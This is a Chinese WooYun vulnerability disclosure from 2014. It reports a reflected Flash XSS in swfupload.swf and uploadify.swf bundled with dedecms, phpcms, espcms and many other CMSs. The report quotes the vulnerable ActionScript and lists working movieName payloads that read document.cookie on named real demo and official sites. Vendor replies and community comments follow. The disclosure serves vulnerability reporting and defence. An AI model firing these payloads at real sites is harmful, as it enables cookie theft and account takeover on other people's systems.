当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069833

漏洞标题:各大CMS厂商的CMS存在的同一安全问题

相关厂商:各大CMS厂商

漏洞作者: phith0n

提交时间:2014-07-27 01:25

修复时间:2014-10-25 01:26

公开时间:2014-10-25 01:26

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-27: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经确认,细节仅向厂商公开
2014-08-03: 细节向第三方安全合作伙伴开放
2014-09-24: 细节向核心白帽子及相关领域专家公开
2014-10-04: 细节向普通白帽子公开
2014-10-14: 细节向实习白帽子公开
2014-10-25: 细节向公众公开

简要描述:

实际上是很老一个问题,但经过我的测试,发现国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等等都存着此安全漏洞(以上基本都有demo站或官网验证),不限于服务端语言(php、asp、aspx、jsp等)、不限操作系统及服务器中间件、不限浏览器种类及filter、能绕过大部分WAF,轻则越权操作,重则直接getshell,危害不可估量。其实你们已经发现了,漏洞类型是“XSS跨站脚本攻击”。
为了防止小伙伴们都来刷奖金、刷rank,我决定一起提交了,希望引起各大cms厂商的重视!
向前辈致敬:http://www.wooyun.org/bugs/wooyun-2010-064004 http://www.wooyun.org/bugs/wooyun-2010-064792

详细说明:

0x01 概述
相信很多站长对swfupload.swf、uploadify.swf这样的文件不陌生,做站的时候常常看到。实际上这是一个著名的利用swf异步上传的一个插件。
它可以很好解决异步上传、多文件异步上传的问题,很快这个插件就红遍了cms界,各大cms都使用这个swf来处理上传问题。
但是,这个swf却是一颗含有xss问题的定时炸弹!

this.movieName = root.loaderInfo.parameters.movieName;
this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");
this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");
this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");
this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");
this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");
this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");
this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");
this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");
this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");
this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");
this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");
this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");


代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的"],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。
因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。
0x02 各大cms纷纷躺枪
由于中招的cms过多,我就不一一截图了,直接给出官网demo或网上实例做演示吧:

cmseasy demo站:
http://demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
espcms demo站:
http://demo.ecisp.cn/adminsoft/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpcms v9 demo站:
http://v9.demo.phpcms.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
dedecms 织梦内容管理系统官网:
http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpyun人才系统demo站:
http://www.hr135.com/jshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
thinksns demo站:
http://demo.thinksns.com/t3/addons/theme/stv1/_static/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
74cms某网络实例:
http://www.56jobw.com/admin/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpdisk demo站之一:
http://demo.phpdisk.com/f/includes/js/upload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
国微php168 demo站:
http://sharp.php168.net/gov15/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpok demo站:
http://www.phpok.com/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
kesioncms demo站:
http://e.kesion.com/Plus/swfupload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
pageadmin demo站:
http://demo.pageadmin.net/e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
xheditor demo我没找到路径,但下载的程序包中也存在swfupload.swf文件,经测试也可以触发xss。xheditor是网上应用很多的轻编辑器,所以会引起蝴蝶效应,导致更多cms出现问题:
http://xheditor/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
时代cms demo站:
http://demo.sdcms.cn/lib/swf/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
emlog 官方易梦主机:
http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

漏洞证明:

0x03 证明:
dedecms演示:

01.jpg


phpcms v9演示:

02.jpg


cmseasy 演示:

03.jpg


espcms 演示:

05.jpg


phpyun 演示:

06.jpg


多的我就不截图了。几乎都是在乌云注册的各大厂商,以及政府、企业、学校用的很多的CMS,包括不限于PHP、asp(kesioncms)、aspx(pageadmin、dtcms等)。
其中xheditor是编辑器,又被很多cms所引用,所以能够影响所有使用xheditor的用户,包括但不仅限于以下列表:

07.jpg

修复方案:

更新swf,进行过滤

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-31 21:51

厂商回复:

CNVD确认所述情况,类似flash域跨站原理已经在相关讨论中遇到过,对于所述多款CMS面临的风险,暂无法一一处置。先行确认,由第三方厂商进行防护。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-27 01:41 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    又来!疯牛!

  2. 2014-07-27 02:46 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    没有亲朋好友预览版么?

  3. 2014-07-27 04:26 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    看来又发现了新的xss向量了

  4. 2014-07-27 05:21 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)

    前排出售瓜子、辣条、可乐

  5. 2014-07-27 07:17 | 果冻好吃 ( 路人 | Rank:22 漏洞数:11 | 大学通知书下来那天,我迫不及待的用四百块...)

    我到底还能不能上央视了?

  6. 2014-07-27 07:52 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    我要上电视

  7. 2014-07-27 08:43 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    好腻害的样纸。。

  8. 2014-07-27 08:44 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用admin做管理员用户名,太容易让人猜解出来了~

  9. 2014-07-27 09:02 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用/admin/做后台路径,太容易让人猜解出来了~

  10. 2014-07-27 09:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    良心啊

  11. 2014-07-27 09:20 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用/data/做数据存放路径,太容易让人猜解出来了~

  12. 2014-07-27 09:21 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)

    @xsser 我的这个可以审核吗http://www.wooyun.org/bugs/wooyun-2014-069852/trace/c0c0fa0d70297510482d7b0904ab79a7

  13. 2014-07-27 09:37 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    @xsser http://www.wooyun.org/bugs/wooyun-2014-064038/trace/86ee30bf213144162ced185e86b5fc4b 审核啊。。

  14. 2014-07-27 09:39 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)

    @浅蓝 iphone到了吗

  15. 2014-07-27 09:40 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    @3yst1m 你猜

  16. 2014-07-27 09:41 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @xsser 良心就来个闪电吧 >_<

  17. 2014-07-27 09:41 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)

    @浅蓝 没吧,这查水表就麻烦了

  18. 2014-07-27 09:43 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    @3yst1m - -! 没到。

  19. 2014-07-27 10:18 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @浅蓝 jb

  20. 2014-07-27 10:32 | D_M ( 路人 | Rank:0 漏洞数:1 | python\C\C++\PHP\Matlab\信息安全\学习\分...)

    你这么吊音符牛知道吗?

  21. 2014-07-27 11:36 | do9gy ( 实习白帽子 | Rank:61 漏洞数:15 | Dog loves God。)

    楼主可否分我几个cms,让我一个一个刷。

  22. 2014-07-27 11:50 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用admin做管理员用户名,太容易让人猜解出来了~

  23. 2014-07-27 12:43 | 丶潇洒哥 ( 路人 | Rank:5 漏洞数:2 | 我是一枚农民工。)

    哈哈

  24. 2014-07-27 13:01 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    闪电了 好叼。

  25. 2014-07-27 13:02 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢不用静态导致SQL注入。太容易被人爆出来了!

  26. 2014-07-27 13:53 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    这么屌?

  27. 2014-07-27 15:07 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    偷偷藏着也不告诉我。。。

  28. 2014-07-27 15:43 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    ........

  29. 2014-07-27 18:42 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    有大牛出来了。流弊

  30. 2014-07-28 08:40 | Tea ( 普通白帽子 | Rank:297 漏洞数:37 | Can't We Be Young.)

    上传HTML文档?

  31. 2014-07-28 11:02 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    先占位置

  32. 2014-07-28 12:14 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    原来是默认admin啊 ... 这也算啊....

  33. 2014-07-28 12:30 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @老和尚 神器给我我告诉你是啥 >_<

  34. 2014-07-28 17:59 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    @老和尚 神器给我我真告诉你是啥

  35. 2014-07-28 20:22 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    风声过了公布. 你俩私信了.

  36. 2014-08-23 17:47 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    秒全国啊?

  37. 2014-09-10 13:13 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    这个不错,之前我也想到了,就是懒得测试了,没想到大神就把这个发出来了,赞一个

  38. 2014-10-25 02:52 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    这个可以

  39. 2014-10-25 09:23 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    Mark,以后搞不下来就回来看看这个66666

  40. 2014-10-25 12:03 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    @老和尚 神器给我我真告诉你是啥

  41. 2014-11-12 13:32 | PageAdmin(乌云厂商)

    非常感谢,pageadmin已经修复次问题。

  42. 2014-11-13 13:01 | phpok企业站(乌云厂商)

    已经改为webuploader控件了,希望高手测试下~~